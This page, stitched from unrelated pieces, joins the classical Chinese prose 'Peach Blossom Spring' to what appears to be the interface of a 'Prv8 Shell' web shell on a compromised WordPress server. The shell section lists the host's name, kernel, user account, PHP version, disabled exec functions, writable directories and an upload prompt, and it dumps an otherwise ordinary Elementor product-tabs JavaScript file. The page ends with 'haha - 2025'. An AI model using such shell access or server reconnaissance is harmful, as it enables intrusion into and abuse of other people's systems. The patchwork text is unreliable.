晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/oldTZh/wp-content/plugins/powerpack-elements/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/oldTZh/wp-content/plugins/powerpack-elements/assets/js/pp-product-tabs.js
(function ($) {
	var PPWooTabsHandler = elementorModules.frontend.handlers.Base.extend({
		stretchElement: null,

		getDefaultSettings: function () {
			var elementSettings = this.getElementSettings();

			return {
				selectors: {
					widgetContainer: ".pp-woo-product-tabs-wrapper",
					tabWrapper: ".woocommerce-tabs",
					tabListWrapper: ".wc-tabs-wrapper",
					tabList: ".wc-tabs",
					tabItem: ".wc-tabs li",
				},
				classes: {
					tabListWrapper: "wc-tabs-wrapper",
					tabList: "wc-tabs",
					itemActive: "active",
				},
			};
		},

		getDefaultElements: function getDefaultElements() {
			var settings = this.getSettings(),
				elementSettings = this.getElementSettings();

			return {
				$pageContainer: jQuery(
					elementSettings.container || settings.selectors.container
				),
				$widgetContainer: this.$element.find(
					settings.selectors.widgetContainer
				),
				$tabList: this.$element.find(settings.selectors.tabList),
				$tabWrapper: this.$element.find(settings.selectors.tabWrapper),
				$tabItem: this.$element.find(settings.selectors.tabItem),
			};
		},

		bindEvents: function bindEvents() {
			var self = this;

			this.elements.$tabItem.hover(
				function () {
					$(this).toggleClass("hover");
				},
				function (event) {
					$(this).toggleClass("hover");
				}
			);
		},

		activeTabIndicator: function activeTabIndicator() {
			var self = this;

			var mode =
				this.getElementSettings(
					"woo_products_tab__active_tab_indicator_horizontal"
				) ||
				this.getElementSettings(
					"woo_products_tab__active_tab_indicator_vertical"
				);
			var position =
				this.getElementSettings(
					"woo-products-tab__active-tab-indicator-position-horizontal"
				) ||
				this.getElementSettings(
					"woo-products-tab__active-tab-indicator-position-vertical"
				) ||
				"";

			this.elements.$tabList.toggleClass(mode);
			this.elements.$tabList.toggleClass(position);
		},

		setActiveTab: function setActiveTab(id) {
			// Select tabs container and run click event on it
			$(".wc-tabs, ul.tabs li:nth-child(" + id + ") a").click();
		},

		tabMode: function tabMode() {
			// Check position of icon and add tab flex-class top, bottom, left, right.

			var iconPosition = this.getElementSettings(
				"woo-product-tabs__icon-position"
			);
			this.elements.$tabList.toggleClass(iconPosition);
		},

		layoutMode: function layoutMode() {
			var mode = this.getElementSettings("woo_product_tabs__tab_layout");

			this.elements.$tabWrapper.toggleClass(mode);
		},

		addIcons: function addIcons() {
			//Check Mode

			if (
				"icon" ===
				this.getElementSettings("woo-product-tabs__tab-style")
			) {
				this.elements.$tabItem.each(function () {
					this.childNodes[1].childNodes[0].data = "";
				});
			}

			//Declare variables
			var icon, iconType;

			// Get Repeater Control's settings

			var x = this.getElementSettings("product_tabs--repeater-section");

			// Iterate over all the elements in the tab list to get the right icon

			this.elements.$tabList.children().each(function () {
				var id = $(this).attr("id").replace("tab-title-", "");

				x.forEach(function (item, index) {
					if (item._id === id) {
						icon = item.product_tab_icon.value;
						iconType = item.product_tab_icon.library;
					}
				});

				// Add the icon to the element
				var y = this.firstElementChild;
				y.insertAdjacentHTML(
					"afterbegin",
					'<i class="pp-icon ' + icon + " " + iconType + '"></i>'
				);
			});
		},

		responsiveMode: function responsiveMode() {
			//Swtich off default click action by WooCommerce's JS
			$(".wc-tabs li a, ul.tabs li a").off("click");

			// Hide tab list
			$("ul.tabs.wc-tabs").empty();

			// Append tab titles to content panels

			// 1. Get repeater IDs
			var $repeater = this.getElementSettings('product_tabs--repeater-section');

			// 2. Get Panel IDs
			var $panels = $('.woocommerce-Tabs-panel');
			$panels.css('display', 'block');

			var $repeater = this.getElementSettings(
				"product_tabs--repeater-section"
			);

			// Compare IDs

			_.each($repeater, function ($r) {
				$panels.each(function () {
					if ("tab-" + $r._id === $(this).attr("id")) {
						var html =
							'<div id="tab-title-' +
							$r._id +
							'" role="tab" ><a href="#tab-' +
							$r._id +
							'">' +
							$r.title +
							"</a></div>";

						this.insertAdjacentHTML("afterbegin", html);

						$("#tab-" + $r.id).on("click", function () {
							event.preventDefault();
						})
					}
				});
			});
		},

		initJS: function initJS() {
			// Trigger WooCommerce's Single Product JS manually on widget load
			this.elements.$tabWrapper.trigger("init");
		},

		run: function run() {
			// Initialize WooCommerce JS for Tabs
			this.initJS();

			//Add icons to tabs

			if (
				"title" !==
				this.getElementSettings("woo-product-tabs__tab-style")
			) {
				this.addIcons();
			}

			//Add layout class
			this.layoutMode();

			//Add icon class
			this.tabMode();

			//Init active tab indicator
			if (
				"" !==
				this.getElementSettings(
					"woo-products-tab__active-tab-indicator"
				)
			) {
				this.activeTabIndicator();
			}

			// Activate default tab
			if (this.getElementSettings("woo-product-tabs__default-tab") > 0) {
				this.setActiveTab(
					this.getElementSettings("woo-product-tabs__default-tab")
				);
			}
		},

		onInit: function onInit() {
			var self = this;

			this.initElements();
			this.bindEvents();

			$(document).ready(function () {
				return self.run();
			});
		},
	});

	jQuery(window).on("elementor/frontend/init", function () {
		var addHandler = function ($element) {
			elementorFrontend.elementsHandler.addHandler(PPWooTabsHandler, {
				$element: $element,
			});
		};
		elementorFrontend.hooks.addAction(
			"frontend/element_ready/pp-woo-product-tabs.default",
			addHandler
		);
	});
})(jQuery);

haha - 2025